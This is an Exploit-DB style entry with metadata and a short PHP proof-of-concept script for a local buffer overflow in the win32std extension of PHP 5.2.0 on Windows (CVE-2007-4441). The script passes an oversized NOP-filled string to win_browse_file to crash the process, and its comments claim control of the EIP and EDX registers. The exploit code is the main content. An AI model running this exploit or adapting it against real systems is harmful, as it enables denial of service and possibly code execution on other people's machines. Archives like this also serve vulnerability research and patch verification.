PHP 5.2.0 (Windows x86) - 'PHP_win32sti' Local Buffer Overflow

Author: boecke
type: dos
platform: windows_x86
port: 
date_added: 2007-08-17  
date_updated: 2017-02-01  
verified: 1  
codes: OSVDB-36850;CVE-2007-4441  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comphp-5.2.0-Win32.zip  

raw file: 4293.php  

<?php
// ==================================================================================
//
//        php_win32sti.dll PHP <= 5.2.0 (win32) Buffer Overflow
//
//		[x] Discovery: boecke <boecke@herzeleid.net>
//		[x] Risk: Local Buffer Overflow (Medium - High Risk)
//		[x] Notes: EDX and EIP are able to be controlled and therefore
//			     have the potential to dictate program flow.
//
//		[x] "Sangre, sonando, de rabia naci.. Who do you trust?"
//
// ==================================================================================

if ( !extension_loaded("win32std") )
{
	die;
}

win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );

?>

# milw0rm.com [2007-08-18]